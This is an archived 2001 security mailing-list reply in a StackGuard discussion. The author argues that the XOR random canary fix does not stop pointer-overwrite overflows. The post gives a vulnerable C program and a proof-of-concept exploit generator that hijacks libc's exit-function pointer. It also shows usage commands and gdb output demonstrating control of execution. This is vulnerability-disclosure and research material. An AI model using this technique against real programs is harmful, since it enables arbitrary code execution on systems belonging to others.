Crispin Cowan wrote: > > > > I assume you mean "StackGuard". I've never heard of StackWard, and > neither has Altavista. If someone needs a catch project name, "stackward" > seems to be available :-) > > You appear to be describing a buffer overflow that attacks a pointer, and > not the activation record. StackGuard only claims to protect the > activation record, so while this is a legitimate vulnerability that > StackGuard does not prevent, it is not actually a bug in StackGuard. > Sorry for my bad english, I think that this is the problem why you misunderstood what I'm trying to say... I'll try to explain it again. Quoting from you previuos post: > 1. Topic: > > A method has been found to violate StackGuard protection against stack > smashing attacks. ImmuniX OS is generally intended to aleviate the > need for frequent patching; this is the first StackGuard vulnerability > to be discovered since StackGuard was introduced in January 1998. > > StackGuard 1.21 fixes this problem, available at > http://immunix.org/downloads.html#sg1.21 > > 3. Solution: The XOR Random Canary What I'm trying to say is that the new XOR Random Canary, is not a solution to the problem, you just need a different aproach to the buffer overflow, and as it's not secret (I already described it in a previous post, and not knowing it doesn't mean that anybody else doesn't know it), I'll describe it again a little clearer (I hope). > 2. Problem description: > > Consider this vulnerable code: > > foo(char * arg) { > char * p = arg; // a vulnerable pointer > char a[25]; // the buffer that makes the pointer vulnerable > > gets(a); // using gets() makes you vulnerable > gets(p); // this is the good part >} For my example I'll use a slightly modified version of your vulnerable code example (bug.c): #include <stdio.h> void main() { char *arg; char *p = arg; // a vulnerable pointer char a[28]; // the buffer that makes the pointer vulnerable (changed 25 for 28 for padding) gets(a); // using gets() makes you vulnerable gets(p); // this is the good part } And here is my exploit (bugexp.c): #include <stdio.h> void main() { int i=0; long address=0x4010022c; // Called from exit() for (;i<28;i++) printf("a"); printf("%c%c%c%c\n",address & 0xff, (address >> 8)&0xff,(address >> 16)&0xff, (address >> 24)&0xff); address=0x40100230; // Where my code will be in memory (1 long after the address) printf("%c%c%c%c",address & 0xff, (address >> 8)&0xff,(address >> 16)&0xff, (address >> 24)&0xff); for (i=0;i<300;i++) printf("\xc4"); // This is the best part, opcode 0xc4 is an invalid opcode printf("\n"); } Now I'll explain how to use it: make bug make bug bugexp >eploit bug <exploit Illegal instruction (core dumped) // Note the illegal instruction now: gdb bug core core x/20x $eip 0x4010023d <fnlist+29>: 0xc4c4c4c4 0xc4c4c4c4 0xc4c4c4c4 0xc4c4c4c4 So I can execute whatever I want, and I have at least 392 bytes to do it. and what it does: with the first gets(a) it overwrites just p, so it points to 0x4010022c that is the address in memory of libc's __exit_funcs[0].func.at (look forward for exit()'s source code), a pointer to a function that will be called by libc's exit(). Then on gets(p) I overwrite this pointer with a pointer to my code and place my code after this pointer. Now the only thing I have to do is wait exit() to call me. Look at exit (this is from debian, but obviously it's close enogh to RedHat's, and to OBSD too): void DEFUN(exit, (status), int status) for (; __exit_funcs; __exit_funcs = __exit_funcs->next) { while ((__exit_funcs->idx)-- > 0) { CONST struct exit_function *CONST f = &__exit_funcs->fns[__exit_funcs->idx]; switch (f->flavor) { case ef_free: break; case ef_on: (*f->func.on.fn)(status, f->func.on.arg); break; case ef_at: (*f->func.at)(); break; } } } [...] I hope you understand me now. I don't dere to claim that this is a new method, but this method of exploiting a buffer overflow has some good features: The host program doesn't crash until it exits (and you can code things so it doesn't crash at all) You can use the overflow several times to add more than one __exit_function to the same server, the only thing you need is space where to place your code. I haven't tested this with StackGuard (!), but it should work, I started downloading it, but never finished. Would you try it for me? richie PS: You can also try overwriting things like signal handlers, objects destructors (look at: __do_global_dtors_aux) etc. -- A390 1BBA 2C58 D679 5A71 - 86F9 404F 4B53 3944 C2D0 Investigacion y Desarrollo - CoreLabs - Core SDI http://www.core-sdi.com --- For a personal reply use gera@core-sdi.com
This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:11:23 PDT